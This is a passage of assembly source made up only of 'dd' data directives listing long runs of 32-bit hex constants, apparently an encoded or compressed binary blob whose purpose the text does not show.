749C3A9Ah, 31AB8C80h dd 6865678Eh, 0FC251300h, 8DC42EFh, 0F9190329h, 7C2B4C33h dd 6CA10290h, 340092EAh, 1C9B541Dh, 0A099C344h, 2606CAh dd 0A1FEF3Eh, 1267BC6Ah, 68520119h, 1CEC8C21h, 9E0E00BDh dd 342ECA02h, 7F008871h, 31EC2610h, 49CC5Ah, 0A2703592h dd 48582B76h, 0BE21C100h, 870AD1E3h, 0EFD40022h, 0C364123h dd 840002F2h, 0CA44B163h, 4EDCF8h, 3F4D6220h, 7650B8A6h dd 77875700h, 3AFCAD68h, 0BC301BCCh, 90C7F07Dh, 0C95ECF52h dd 0ADE80F00h, 0DA9C3CEDh, 87D83AB5h, 0A98047BFh, 360153ECh dd 0FE00050Dh, 0D332D20Ch, 10F00Bh, 454C75F5h, 8E5172BEh dd 0F88F5628h, 0A766D400h, 4D09AE38h, 2342020Ch, 0F013D063h dd 7EAAA880h, 0A09A206Dh, 0DE8AA00Eh, 39930089h, 48BE870Eh dd 0D700581Bh, 4E91EB36h, 7100B313h, 0D9F08D11h, 15F2EDCh dd 9BBEAC4Ah, 303E42B9h, 8700FC43h, 0ED37B352h, 3099ECFh dd 1773612Fh, 6ED8E4BEh, 765882E0h, 39A0019Ah, 0D0CC4257h dd 7EC9430h, 3827BCCBh, 80A3D0EDh, 0B0024D55h, 0ADDFBE6Ah dd 65186009h, 0B16039Ch, 6BDE0626h, 80965800h, 0BC9D083Bh dd 0C3E20F2Dh, 20600C52h, 31755961h, 51B32801h, 5B94C278h dd 1EE1EBC4h, 409FA62Fh, 24A0E90Ch, 180EE6EFh, 0BFA17535h dd 7371F898h, 16E4B9h, 6156FDF0h, 797BCAD8h, 89D1E002h dd 0A29DF8B3h, 0CB73F4E8h, 0D890F75Ch, 0E8178925h, 10A93239h dd 4F008E18h, 388C3B4h, 0E7904237h, 0FDC06AD3h, 23004ABFh dd 0E531F7B6h, 6121B3Eh, 28265168h, 7004178h, 79721AD8h dd 30AE29F8h, 0ECA82214h, 880DFD08h, 2012F413h, 540618E4h dd 0E44E6459h, 30FDF0DAh, 0B730EE4Bh, 9D501CEDh, 9318E45Ch dd 0E04006F8h, 1A4E00B8h, 98F28F5Ah, 3E2E5EBDh, 0FD00DAC4h dd 7BB7A3DEh, 873A001Ch, 0AE479864h, 0C00F085h, 0D6FBE33Dh dd 716C9FCh, 0B6579241h, 0D8D57027h, 0BA0081A6h, 4DF85E20h dd 7E02F12Fh, 3BF200C1h, 0C7A77C84h, 0AD02A237h, 2B83A50Ch dd 0CB8DC0CEh, 3CEEE23Ch, 3700779Dh, 0DE09D56Ch, 51009C6Dh dd 123AC9E7h, 1DE41D53h, 0B89F13Fh, 3420622Fh, 0DCEC7BCDh dd 0BCC2971Ch, 6B8C80BDh, 139E38FAh, 33E50739h, 0D766924Eh dd 0E4ACE3D0h, 8C8C7ADFh, 1496C2Eh, 0A000907Ch, 0AD5D783Ch dd 7811CD32h, 2F0526C1h, 0CAF80041h, 15B9208h, 8E892E02h dd 0E84EA716h, 786534h, 4117138Fh, 0F674023Dh, 18BBA200h dd 0BCE127DCh, 5E7C00B1h, 395C4CE4h, 2EE022D4h, 580AA50Fh dd 924747Fh, 8990C3h, 0FF88A886h, 32C90177h, 29D2DA61h dd 0C1B1806Dh, 0E6E0C80Dh, 0EEF803FDh, 549A77F5h, 0EB3C5BA8h dd 1AF14800h, 0B97C5A28h, 46E40045h, 475C9D8Ah, 0F774F29Fh dd 4D388F0Ch, 0F4AA7923h, 6E9103E8h, 0EE2EAEC4h, 866A480h dd 35617705h, 20E0A99Ah, 92A826D6h, 0E9650373h, 1028D550h dd 0D018046Ah, 8108BE1h, 817E31h, 0F2A0106Fh, 0DC918A0Ah dd 790F3976h, 0E0E0D138h, 0F5A4D607h, 0A9940078h, 93997543h dd 0ED005D25h, 0FFAF1B17h, 803B05h, 2AF8DFE5h, 0FE5B4B06h dd 75E93603h, 0F82F7859h, 7E75F88h, 4307CC7Eh, 0FF1C0DFh dd 2100A424h, 9497CE16h, 38B9F370h, 1300C2D1h, 92EF0144h dd 0B8F64EAEh, 3942700h dd 45F778Dh, 5C5B0243h, 14B224A8h, 8A7D57E0h, 0B94BDA00h dd 19034FDBh, 24D2003Bh, 3AED4204h, 88C02038h, 0BC0CF2B5h dd 27EB0089h, 2FC8B4B8h, 20FFBFEEh, 77774AF0h, 82FEE700h dd 0C9D57622h, 0CD28005Fh, 0F96504BCh, 0B300239Bh, 46440E8Fh dd 3116E96h, 92A21B74h, 12C9E882h, 4A8887F4h, 9E07E32h dd 0CCB083h, 9C20339Fh, 0FABD889Ah, 8417F200h, 0EFD3F06Ah dd 9B18C191h, 0CC295EF1h, 470A2F46h, 0E069BA79h, 84B3960Ah dd 0B7AF980h, 3A7BEF02h, 7F0238E7h, 0EBD92E1Dh, 6011F891h dd 0F1009E2Ah, 8109397h, 311568h, 0D4712AA1h, 7CF25362h dd 84442200h, 64EA06AEh, 0FA3603E4h, 0E512D8C9h, 35ABF8B8h dd 0B0B8EBA3h, 541E9623h, 3F403022h, 46686D34h, 28CD008Dh dd 0E37F5C11h, 1700C69Eh, 0CFDA83CAh, 0D8E95Dh, 76CC61A4h dd 6E303BC5h, 9F800D00h, 178899ADh, 4AE418h, 0B0EF0F8Bh dd 26BAE2B6h, 1B5B040Eh, 2D9EA3E1h, 9121006Ch, 23A172F6h dd 0D91E1A9Dh, 0F0B07B25h, 1B88657h, 972494E8h, 402DD8DBh dd 5AD155F8h, 0D7ABE500h, 2C719D3h, 137C66h, 0F08EE743h dd 693FEA2Fh, 0A52E4A7Bh, 1C281B59h, 48F67800h, 0E498CCD1h dd 0FA2C0AC7h, 0BC052Dh, 9EB5E140h, 0DF00DD8Eh, 642837Dh dd 0DB637Fh, 2A1284CFh, 9E11FFA7h, 0F5ECB8C0h, 12B5571h dd 4C7EE8A3h, 24B9E628h, 7200B2CCh, 0A99E6780h, 1866BF0h dd 36E966E7h, 246AB815h, 0CF00F858h, 0CBFA5FA6h, 3020425h dd 428CA003h, 54E839A3h, 0CE003221h, 1D23F95Dh, 7F05596h dd 647851Ch, 0B1BA07Eh, 1100B86Dh, 0AD5748E9h, 0E6D90465h dd 0F43102C7h, 3D77CEC3h, 0D81480A0h, 0F800ACFFh, 0F98BEBB3h dd 3D51A22Dh, 23803BF1h, 2848275Eh, 0C9C05568h, 603DAB30h dd 0F119004Ch, 0FC8B0747h, 0B80175B1h, 2EBB7C14h, 0DFE57026h dd 4CA7A450h, 83D63C9Ah, 89406200h, 0BD28AFFEh, 9D763B02h dd 0C22D756Dh, 0BD80702h, 1B00BF7Fh, 0EA12A4C0h, 8B060038h dd 3A5C181Eh, 0E507E9E3h, 0FE634B59h, 1BF73CD0h, 9888F67Eh dd 0B74900BFh, 0A32C74E1h, 0EA179E25h, 220057A2h, 0D870D5A9h dd 0E95005Bh, 0C3B05220h, 89780A10h, 24512200h, 7DA837B8h dd 71F80C35h, 74F9D143h, 0B2282700h, 33A37347h, 0BA62120Ch dd 1DFB0135h, 0C42063CCh, 0D900AEC2h, 0EECAD6FDh, 0F3F5202h dd 0A69D5F9h, 9692C8F8h, 0CAF3FD00h, 0AC186A9Fh, 6E070283h dd 10DEA012h, 803BCC45h, 1C5037C6h, 3F235Ch, 4F6858B3h dd 5FF0330Bh, 6FA9D500h, 0DAA0482Ah, 9AA20031h, 8CE94F04h dd 390053E3h, 2FE04C27h, 2B564F5h, 85A08AD9h, 0E8A0CDB3h dd 0BFC854EBh, 180098F4h, 4088028h, 60A44B0Fh, 8A5F11B6h dd 79068186h, 0CFFFF23Ch, 18880118h, 0CC9591E0h, 0A96BC46Ah dd 0C8044C98h, 48129477h, 189D90C0h, 264A04D8h, 90C50EFCh dd 6B62473Ch, 9549E700h, 557285AFh, 0E9704Eh, 0E44DAB7Fh dd 7ACEA264h, 0C2C52801h, 0ADAADBC0h, 0B766803Bh, 990019D9h dd 0BBBC7BA5h, 9078F6h, 56D8CA8Fh, 0E97D4482h, 6A9DB10Bh dd 0EF6C20FEh, 220E7FDh, 3C4F2C03h, 99805B11h, 63277962h dd 5225E218h, 49B838h, 2BF9F4AFh, 81A0FA5Ch, 75002AFAh dd 71417948h, 0EC6C7C3Ch, 435B0054h, 38AD55C0h, 0F09F0342h dd 7ABEA39h, 0E223D9Eh, 0CBEC8036h, 8404E49Dh, 0DB5BF17Dh dd 79C4488h, 7BEEC521h, 0F3A53099h, 410FD768h, 87DEB7DCh dd 0B944Ah, 0C05B5196h, 6B58006Dh, 7A07CA5Ch, 0E00061BFh dd 9D70B382h, 48054Ah, 2BB1990Dh, 91657647h, 0C83A5E7Eh dd 0AED92C3Dh, 3514C000h, 7788A1h, 76A59C36h, 4132BB82h dd 67E8D207h, 0A09B0BB1h, 9075F614h, 0D74A0007h, 0F8D643BFh dd 0AD02B67Ah, 8EF1FA93h, 2B5C60EFh, 0A633E06h, 1D43A19Ch dd 532EC179h, 64C75A11h, 1C099D58h, 0AEB334h, 0CB8B0DCCh dd 907F0E55h, 0A1B8EC3Fh, 75003486h, 0AE6C69C7h, 7074174Bh dd 5F2800F2h, 8798B7F9h, 713E4721h, 0D56B85F7h, 88909706h dd 547C15h, 0DCBE254Ah, 0DDEFF5F8h, 9E963417h, 380B9042h dd 7ED960C6h, 0B57402A1h, 0CA69AD7Dh, 0A603A4E0h, 5742E0F9h dd 1DC7AC00h, 55587DB6h, 0FA41CF9Dh, 0D3D0936Ch, 541E60C1h dd 818395F9h, 53EFE833h, 0BAB5BEC0h, 0C3B6B724h, 0BFF6A300h dd 268F27h, 9F33CCE5h, 0B20F9CFh, 69C61431h, 469574F6h dd 4B006819h, 0AB8D4A5Fh, 0FE002CB5h, 37D682DEh, 0EDF39Eh dd 0E0D507C5h, 0EC48EE5Fh, 0C6ECB5E6h, 4B9E5700h, 0DA5125AAh dd 54F50E88h, 0E0808105h, 715D1559h, 0E103B3F0h, 0FE7BA1BAh dd 0F0B6E003h, 0EDCF0030h, 519CD8D3h, 0B416A3A0h, 92074098h dd 98BC772Bh, 3547007Dh, 49057A8Ah, 69006EB0h, 485E37C5h dd 7ED615h, 849AC6DCh, 20856FE0h, 28B6B00h, 30AD6DD7h dd 7BED1EF6h, 78BE1Eh, 0A2679B27h, 0FC38E589h, 0B46DE000h dd 0C84AD4E7h, 26830319h, 0CA016B54h, 0D2328A80h, 7639FE00h dd 1F9CC3DDh, 26E097D5h, 677F5D55h, 0C799A600h, 65E5B6AEh dd 782200F7h, 0C2DA307Ch, 0FA0938CCh, 0A86E39E3h, 421EC58h dd 0D4377057h, 0BA7B5F02h, 97BF5299h, 0DCA36030h, 2C98D6A0h dd 0F2874900h, 9A2B3389h, 506B0003h, 0D8A2DD5Eh, 553261A3h dd 119228CEh, 44840877h, 108465D4h, 21F38D94h, 0E6F00813h dd 56843990h, 0AF1F448Bh, 48E77144h, 0B11A423Dh, 22AC7B22h dd 1124D3AAh, 12BE6121h, 0D0621047h, 0B3089589h, 10EEBF45h dd 0E989EF39h, 8544BD08h, 9B8C88AFh, 160E3101h, 756D997Ah dd 94DC59DDh, 0FC875BEh, 86B7460Ah, 43B5E840h, 0CD07EBB9h dd 0DB4130B6h, 7D1A49B0h, 68A80045h, 0FDC37244h, 9B00D454h dd 0A6D17164h, 0EA0CC1h, 0AE967F2Ah, 0D5724A2Ch, 0D726AD16h dd 1D9D5F00h, 0F47EAB3h, 123F927Dh, 3D065160h, 900457Bh dd 4A27196Ch, 383AEA65h, 7BF8A9h, 0CE211AC4h, 0D5EB342Eh dd 55004375h, 0F96431E1h, 1304969Fh, 40A28911h, 0A5C3094Ch dd 8F00102Eh, 2C206D25h, 799C0F29h, 0BCCD017Ah, 3F84A4F9h dd 539180B1h, 659D9859h, 0D70F002Eh, 74708E9Eh, 16007961h dd 110A010Bh, 43B61Ch, 7FA2A77Ah, 552D5251h, 92831500h dd 0ADDC6345h, 46A100D2h, 43FA9E50h, 0AB0752EEh, 0C85049Bh dd 6ECDFC40h, 9C077A8h, 19A7FE4h, 0BE8844E0h, 6F29D4Ch dd 0F24B85EAh, 3CD11DA8h, 28028C09h, 0FE73A538h, 0B938E9A3h dd 2483B15h, 84C4F27Ch, 0CAE8E1DAh, 0A0D898F4h, 0FB2FBCh dd 8EA87404h, 72C9B005h, 6357DB0Ch, 3C20D9h, 0B6DDE4B2h dd 87B7C22Bh, 6097CB07h, 1310C9FAh, 31D83A3h, 9BD72049h dd 0D5E8417Ah, 5100681Eh, 0B4BD957Dh, 25705E4h, 0AF127C33h dd 0D0806472h, 0F81E4503h, 2D229900h, 3EE67547h, 81D900D8h dd 496DF4C5h, 430E8F4Ah, 205A65DEh, 0DC7B8850h, 55DB0042h dd 85A7EF5Eh, 0B90EB3CFh, 8292A5D4h, 40DE7538h, 5F0A7Ah dd 86634248h, 36D1F3F1h, 0E3F71600h, 1CA452FDh, 2C6713Eh dd 57A2AF7Eh, 1040FF3Bh, 89005365h, 1EEE0904h, 1C58EAh dd 5E474323h, 0C3AA1DFCh, 53876000h, 3E567207h, 0A06CF883h dd 21884ACh, 0BC3FC1C7h, 8EC1999Ah, 1C1E3029h, 2C2ACD00h dd 0B4D7BE04h, 359600DCh, 5B364F38h, 0A10CD8F7h, 0B84C3D77h dd 8BD21EF9h, 2DE981D5h, 24E3DB5Ch, 9300BE94h, 0D00A6F3Fh dd 0FE7847h, 0AA72DFE2h dd 0E8114A9Ah, 643A2100h, 0F342AEB8h, 33190002h, 7ACD8251h dd 8E0076BBh, 0DC552C0Bh, 0C7793Ch, 49E8F9F7h, 1C999BD6h dd 966A4F09h, 784002EAh, 0B84A2058h, 0AA00939Dh, 4F8BE0F0h dd 0B7CE32h, 0DEF90B94h, 0BB4034A2h, 0D80DC803h, 0F3BF01Eh dd 0CA9F61B0h, 0C278C444h, 4C401108h, 0B8003765h, 9F7FE92Dh dd 771485C9h, 23A50E7Dh, 1E200F28h, 871FB493h, 7F03CF06h dd 150214Bh, 9B2F7870h, 0C8E6FB51h, 6700C2BDh, 40E2B866h dd 12EFFD7h, 0BEBFC441h, 202412A0h, 0F6009D4Ch, 0B11B04DBh dd 4FCDC1h, 24643C4h, 0ED35D014h, 7A970A0Eh, 0BB4E0E0h dd 0DF5ADCh, 0C7F192ECh, 0BCF30425h, 78F76D0Eh, 0A62E85BEh dd 847F3480h, 0CA650012h, 0BBB23AA7h, 7001ACFh, 1E37DB70h dd 0FF16CCh, 54694A8h, 0A7F51FF3h, 413D1D1Ch, 9C05E40h dd 72FD9Eh, 7C775A85h, 0C4591848h, 8ED6200h, 7A3F4431h dd 89E40015h, 0B1B7F079h, 6900338Fh, 21809EB3h, 0EA86BEDFh dd 48BB0E96h, 0D940234Dh, 0CDF9B476h, 0F52F580Fh, 1E4E3DF7h dd 2D12DF62h, 47CE8A03h, 9277B0D8h, 97EE00B0h, 7156CF9Dh dd 0DD0F9A2Ah, 0E028EAB8h, 0D227890Fh, 0ADD71C04h, 351C8098h dd 3E61514Eh, 0B8AB2528h, 679EF000h, 5E11992Bh, 5AD900EBh dd 7AB0326Eh, 1F2C70F6h, 0A987D0CAh, 0D790A44Bh, 98378A99h dd 94B91DA8h, 0B3394071h, 0F9A0468Fh, 7251E112h, 0A45C0Fh dd 0D490AA25h, 282176DBh, 0C09FEFh, 0D956E17Eh, 0D6169D64h dd 0D21DDD00h, 9F824D3Bh, 547E4CA7h, 526B9100h, 9814039Dh dd 93A5603Ch, 7D01A6CAh, 7C176971h, 6DC6880h, 0ED688C9Dh dd 1DD0280h, 0E6632E89h, 64CB1F30h, 0A138F720h, 59D0E053h dd 74D2Dh, 8BBFEB63h, 45FFCDAEh, 0D7D05100h, 1C1DB7B6h dd 9D7DDFh, 5A46AFBBh, 0A081092h, 0D6475601h, 1DEE6B3Bh dd 6298808Eh, 4D3EC11Fh, 0C4C492D4h, 0CC6013B1h, 86F34A52h dd 84D200B2h, 0EE7C0DD6h, 90002EC9h, 0F7076F7Eh, 868E64h dd 0A4CA4985h, 4B38E49Fh, 9D6C6B00h, 0B668EAB2h, 16651E3Eh dd 6AA980DBh, 0FFBECFF3h, 52D5CD1Fh, 0D7E68301h, 97E4B865h dd 0B627008Ch, 2EFCD19Ch, 5CFAD2F4h, 0C09DC128h, 978915Ch dd 83023F76h, 0A8F9BD00h, 81C79Eh, 2E36C1F0h, 50518EB8h dd 0CB0A0F01h, 89E20B3h, 0F4865F20h, 2D1607F0h, 314DBCFAh dd 0C860D5EAh, 6A09CC9Bh, 0AF0F54E9h, 0FAED2018h, 0BC5C29h dd 0ADF84514h, 72CB3053h, 0DA2F2B1Dh, 0CAF1B081h, 0DCF089EFh dd 81221E94h, 0C200FC49h, 48649C09h, 60008D5h, 945DCD0Eh dd 6366895h, 181C6B24h, 931D5810h, 384229E4h, 605A6D21h dd 9CC2DCh, 41520849h, 0C7A8464Fh, 8D13A700h, 0CEE85391h dd 65D60078h, 7B551B45h, 7301FAEBh, 954C8E2Ch, 18D8F35Eh dd 585C004Dh, 0B785035Bh, 1002624h, 63216777h, 4CFE3627h dd 0E112F757h, 0F13400CAh, 0C5EFB481h, 0A23B5Ch, 10FD596Eh dd 0E4EDBDh, 0CE30A6E1h, 88404CB4h, 0FF480400h, 225437ACh dd 81F60Ah, 4905E31Bh, 6D7DC9E4h, 34B01724h, 57624602h dd 279448DCh, 30DD000Eh, 6C78E44Fh, 180071F8h, 25963DDEh dd 124BC4E6h, 0C981D0h, 26DB0D13h, 0CC3B8A6Bh, 0C0778131h dd 0EF42DA5Ah, 0A41CE0h, 0D0477F32h, 857CD746h, 0F4EC501h dd 0C6A21ABFh, 7AB9E4h, 0D9574261h, 0BD15B09Ah, 77369C00h dd 0EC11C5D1h, 95A016EDh, 0FD6900C2h, 0E71DE108h, 0C0A36E00h dd 0D802231Eh, 0E44725Ch, 0B9F7CA28h, 0EAB1B400h, 0E95067F0h dd 4D00ABE9h, 66187E3Eh, 7B92FBCh, 61B7D374h, 0D4EA83h dd 1F363BDDh, 0C40053BEh, 0EC23FB94h, 4FB435h, 0D3CD1837h dd 7F0DABD8h, 0EAFCF702h, 0E81416E3h, 90CCE6C4h, 2463783Ch dd 146059h, 61E7DC39h, 23F2426Dh, 0B45D8100h, 80653595h dd 0F65C501Eh, 0A62703CAh, 0DB6E88CEh, 0BDEED4E8h, 8590FD3Fh dd 4536AB2Fh, 0AFDD08D0h, 4ED00083h, 25B6A8F8h, 68026795h dd 0FD195873h, 1DA4806Bh, 1472779h, 8EC2AC63h, 0D0B0CF9Bh dd 0F00F1B35h, 45DBFE10h, 82C07E23h, 0C30C18h, 7F726290h dd 5AD03EEEh, 8884507h, 0AE40BDE9h, 0B122D9h, 0AB0D7BF8h dd 9DFF2AECh, 0B812789Ah, 6B006899h, 2390EE3Ah, 0DFC202CEh dd 0C5923743h, 82799CC4h, 96632A00h, 5BDD5210h, 0AAF800F4h dd 8D3A1D0h, 64B06591h, 0C97BE00h, 2B94551Ah, 0C8F40E10h dd 0FC0015C2h, 7E89F5Dh, 0FD650900h, 412B7A7Bh, 719609A5h dd 0D850A79Eh, 21F047Dh, 9C846DE2h, 360059D8h, 7FEFCF15h dd 83A9FC00h, 601982E1h, 0BCAB17E6h, 0EC2C002Ch, 266A906Eh dd 0D33DC400h, 7A327DF6h, 8E0E00E1h, 0ECDA2EABh, 0F92C0D6Bh dd 90205476h, 0B96DAC00h, 3F26D037h, 0ECD97ABBh, 4A9F01C7h dd 42F86683h, 0C605C87Dh, 8FB9E43Dh, 0EE558F8Ah, 22AFACh dd 7EE73739h, 4CD330F5h, 0FC1BD628h, 0CE154800h, 0E1F1CC0Ch dd 0B8F3256Bh, 0A960BC80h, 1CFE528Ch, 0F775E507h, 8019CD07h dd 71EEBD14h, 18A100E2h, 5F09B220h, 990014F9h, 0A28760C9h dd 483A1Ch, 78FC5441h, 0BB0FE9Ch, 3E01CEEAh, 94878540h dd 0CC70ED64h, 48CCEE98h, 62006842h, 6B22B346h, 0EB005395h dd 14E61148h, 90C7ADA0h, 413E0286h, 10846AD8h, 7D76C440h dd 0FED7D101h, 0B5A2E8F1h, 1C203831h, 58C090B8h, 0BB00F1F2h dd 973FCB67h, 0D70078F4h, 0E944231Fh, 3CB7110Bh, 0DC8021C4h dd 0BFAA5E65h, 2D3D7FDDh, 0F7F280A0h, 0E05C0D9Bh, 0A0C7B06Ah dd 3783580h, 7923B713h, 0C0A7804Ch, 6238BB11h, 0EB0F041Fh dd 0B33CD180h, 0B0EF6B4h, 0D4715E24h, 0F1E12C00h, 4A0084CCh dd 0DB229119h, 0F40C199h, 6C637B98h, 0AB4DC060h, 78000426h dd 29ACC33Ch, 1CB98B7Fh, 0CE761031h, 0BBA00142h, 2393361Fh dd 4D85D902h, 701DA384h, 9ACB005Ch, 8DF39F66h, 50C142B9h dd 391C28E0h, 0F27185DCh, 0B5D3838h, 0E6F2698Eh, 8B844BBEh dd 7D6A6380h, 92001527h, 0DBDE879Bh, 0EEBD2F04h, 11F600A9h dd 0E4B0F1EDh, 2A000F75h, 910687BCh, 0FB2554h, 35CD30A3h dd 0B43EB9A4h, 34EAE405h, 0B4909324h, 0B9CD3D70h, 2E7100C8h dd 3C55B1EEh, 0A9220C02h, 0C01C4ADEh, 0FFE28Ch, 0D8B61372h dd 83483746h, 74777C00h, 3214C993h, 0F6714C1Ch, 46130507h dd 0E840E42h, 8647C09Fh, 80037C0Bh, 1AF7295Dh, 70BB9817h dd 2671FEEh, 0B33A4074h, 4AA2DED7h, 793963E0h, 1B69AEB8h dd 4400B413h, 0C375A834h, 307C815Eh, 11006910h, 467602E7h dd 0E831484h, 0B9D82D17h, 40D1AB60h, 560B3D4Dh, 8BF75335h dd 19140A11h, 0F1D8300h, 45A5ECCh, 0EAF909D3h, 7044C031h dd 0EB406237h, 0C57A0Dh, 8A4D16Ah, 0B3AB01D5h, 0A35DDB00h dd 8B20A785h, 94AE0F65h, 5C809C34h, 0F191A412h, 16485390h dd 0DA2D010Ch, 0B1B5C409h, 25D3D1D0h, 6007F030h, 0D83E323Bh dd 0BC6F6460h, 3700909Eh, 23EF5C82h, 0F97704A4h, 8025744Ah dd 0C9805B5Dh, 2717A502h, 40B79C2Dh, 5D8678Bh, 7EBC0DBBh dd 0A0B86041h, 6F24DFC3h, 3800C419h, 13BAA89Ch, 0F6AD02DBh dd 72D325B9h, 202FEDC1h, 12112A08h, 990B4AD0h, 64006108h dd 0A829023Ah, 67FD5100h, 851C5C83h, 62B42432h, 506E0BA4h dd 0C4B5F680h, 1000D80Dh, 8B4388BAh, 3ACAFEh, 9762C34Ch dd 5FF2CBF8h, 2E6A9A00h, 546DDAF4h, 92963C09h, 0F05BC980h dd 5ACC57CEh, 0F1BFF700h dd 78DED61Ah, 4B19008Fh, 984175D8h, 2007017h, 7688ABF3h dd 1A40774h, 3EDAF61Fh, 0CC14E205h, 3D3083B8h, 0B224D866h dd 21BC5A16h, 6F89E240h, 490D39F0h, 4B0060C8h, 0FDD267C7h dd 981DD9B1h, 8F476275h, 80799146h, 73873E7h, 1C0300E7h dd 6AF8F632h, 0B802FBE6h, 719850D6h, 8294CA95h, 0F8223BD7h dd 6C875970h, 71DECF00h, 40A9F61Eh, 8932A318h, 0BC90320h dd 6BFC0286h, 125FD880h, 48E234AEh, 0C1B05100h, 5CC59377h dd 0C0B10191h, 7483F875h, 25C76B9Fh, 2A8A3FC0h, 0E8990068h dd 1C0458DDh, 0D600C459h, 4A310A49h, 90D45269h, 50160114h dd 704561A7h, 0C340F0FFh, 8BC240Bh, 0B3CB80B9h, 1E5F900Fh dd 40483BC1h, 5234E570h, 0B6002C36h, 0A0DA60EAh, 22668Ah dd 47DECABBh, 0E6C7E873h, 8293A300h, 0D2DBDD4Dh, 90E00E51h dd 0E878674Eh, 681403A8h, 1EF89B24h, 50D2B30Ch, 169AA4CCh dd 1BFF84h, 0DA9349D0h, 0A6007B69h, 0F1858635h, 0ADEABDh dd 82DC8C26h, 5733B2E6h, 2012C4E6h, 900068CAh, 0D335B5B7h dd 8CB300F7h, 0C47D1893h, 5A7D45FCh, 6448E700h, 19C5E0ABh dd 0BF6B0031h, 395CC068h, 0A706431Eh, 3F0281D2h, 3EC27A68h dd 23005098h, 7E3552FDh, 0F6242DDEh, 9FBDDC0Dh, 0E1C4B1ADh dd 31C141C6h, 56203815h, 0C0A40088h, 8F7ADAE2h, 0BFF8959Bh dd 0F4BD2501h, 7F82B354h, 359E8ACh, 0A5AA2399h, 5E0B41B0h dd 2200C0B0h, 3BD27C04h, 0C1EB082h, 0D4A6AB50h, 88072E98h dd 9C95C081h, 0D04C1043h, 0D6C953h, 0BCCD19ECh, 0D482FB73h dd 0A6D70400h, 0A1CAFD05h, 5EFF0081h, 130A1E26h, 0CD3B826Fh dd 0C9A48030h, 3699742Ch, 1C550051h, 0DAC04E79h, 0EA04B84Ah dd 9AB1270Dh, 0D60280ECh, 288AFD36h, 0A2D724C0h, 723E4Ch dd 0EE8BA9D9h, 3EA5962Eh, 0D60034D1h, 6A91AED7h, 0EA006FE1h dd 0C102ECF1h, 12A7BF4h, 0C0546273h, 0D0A31DADh, 0F27ECFEFh dd 9BEBBA0Fh, 4E58612Fh, 0C0DB5E4Dh, 0CA1319h, 68DAE798h dd 302A6FABh, 15D2600Fh, 0DECEDEDFh, 0E45420h, 0D0D65404h dd 6F76E41h, 98E62DCh, 5B24C08Ah, 468FB010h, 20974F57h dd 90B2ECB6h, 2B253A73h, 98BC2082h, 0A2E02367h, 2C00DBC1h dd 42159DA1h, 0F2205E4h, 0F6C29180h, 663C7022h, 0A17EB840h dd 1E035626h, 73D64F0Fh, 0F1D52C80h, 581A12A7h, 0ED0500D4h dd 66348085h, 7FD2E000h, 99118EFBh, 0A470A5h, 0D980A3Eh dd 0DA97E952h, 385D8F32h, 0B75E037h, 3BB31867h, 8C9A303Ah dd 6816D501h, 3921140Fh, 0A76A8881h, 0C47FE6C3h, 0FD0FEE7Dh dd 0E0654E80h, 86D99EB8h, 0B644B86Ch, 97750094h, 0FC8058ACh dd 74C6CEC0h, 7728FE29h, 2BFEF7h, 783D9241h, 1DA4BA33h dd 0BC39F400h, 3F521227h, 0A2950051h, 78D93E2Eh, 0B8006407h dd 0E84E5A33h, 5897B8Dh, 0BA7F9CD6h, 9BC00098h, 7AF3E951h dd 47918500h, 0ABF0A4D7h, 0FB3FC8Eh, 7BF179E5h, 6327D8E0h dd 200E35Dh, 0DEE7EB1Bh, 32055Fh, 0E24E6C40h, 0C253360Fh dd 7BFD20h, 739266BEh, 2821EE26h, 2E083D58h, 13F80C2h dd 3BFB9E84h, 0AC3045A6h, 48C30085h, 8E2D7625h, 0B900F8AAh dd 2722349Dh, 0C44289h, 375515DAh, 7088FFE5h, 0F0957A26h dd 9C00B897h, 8ACAF304h, 0E77300EEh, 0A93BEC89h, 49EC80F8h dd 210057FCh, 0AFCBC441h, 50767Bh, 0E5F8C8D2h, 208E8C38h dd 0B12E5Ch, 0FE1E0C6h, 0B281D8h, 52157CB8h, 0A4661105h dd 2B035690h, 4D6D2875h, 9E8000D2h, 0EA70C1A7h, 0A00027E5h dd 78F47D8Dh, 13E1ED6h, 0D990EF41h, 0CCA7479Fh, 39005456h dd 0A9BBFB7Bh, 0BD318Ch, 153F17E5h, 87448B49h, 0A6011F77h dd 0AB9429B6h, 0F0306C80h, 489500F0h, 0D938C93Ah, 9A01E970h dd 0CC7EE3D3h, 68F0FA5Dh, 40C5074Eh, 17D5154Bh, 970AF09Ch dd 302D51BBh, 317CA00Fh, 7C1B4D01h, 4EAB045Ch, 0EC640A92h dd 1EA40004h, 0BFC7C1A3h, 0EE0E000Bh, 72C97A52h, 42004E45h dd 7818E3D4h, 20DFE5h, 978DAB2Fh, 0CCE82889h, 75DB560Eh dd 0D9552066h, 2EE1613Dh, 0BE805B2h, 20008FC8h, 95A484D3h dd 0D6F25B7Ah, 0ECE9B000h, 0DBCD2052h, 4E290760h, 2B0FC2BFh dd 25E9718Fh, 8606A4E0h, 5897F858h, 2F2E838Ch, 46E6A80Fh dd 0B4B1003Eh, 0A18621DBh, 552DDAFCh, 2EFA8760h, 0B508816Bh dd 118E8963h, 5B090927h, 0BEEE7A00h, 802C7FEDh, 82938439h dd 321830C0h, 0AE3F0010h, 9A010A51h, 0AB005F1Eh, 0FB577AC4h dd 3D6B5Bh, 220F779Ch, 4DC2F341h, 0B62BD8A0h, 2807FA00h dd 780A439Ah, 153200ECh, 0C7E7A8FEh, 373B21A7h, 0B08C007Eh dd 6110F439h, 0BF6E00B8h, 414F3083h, 0F60F1C0Ah, 0C31FB681h dd 0B82CAA9Dh, 12CD38D5h, 80CE15B7h, 58A9FB7Ch, 0E704D200h dd 0CAC181D9h, 0E5FD0E88h, 0FE05CCCh, 72A01E8Ah, 0D17E3902h dd 4831F512h, 3C3FA160h, 0AAACDF07h, 0C4940148h, 0D8AD860Dh dd 11015C36h, 0E724B0A4h, 0C880584Ah, 8E473ECEh, 5C00ACB4h dd 90A1EDCAh, 1E597F79h, 0ECBA9D8Ch, 0C196059Ch, 2AB4F0E5h dd 8084D43Eh, 94AFC2F4h, 29399723h, 8FB4FDD8h, 4885741Eh dd 11A00059h, 19D7BDE4h, 0DB1B1000h, 15494062h, 0C4B11C6Bh dd 5D25C228h, 0EC606ED6h, 0D9E02DDCh, 68AFF1Fh, 0F557BCC0h dd 4CCEA2FBh, 2600B7F1h, 767C7F6h, 0A0002F22h, 0F3141BEEh dd 4E3C6Ah, 2D8AF416h, 343AE927h, 0FD68BD01h, 0B8F9D5CCh dd 0EF803ECh, 33F02951h, 0A60A14Eh, 0DF208D5Ah, 6D00A77Eh dd 0A6C090D1h, 3DC7B3h, 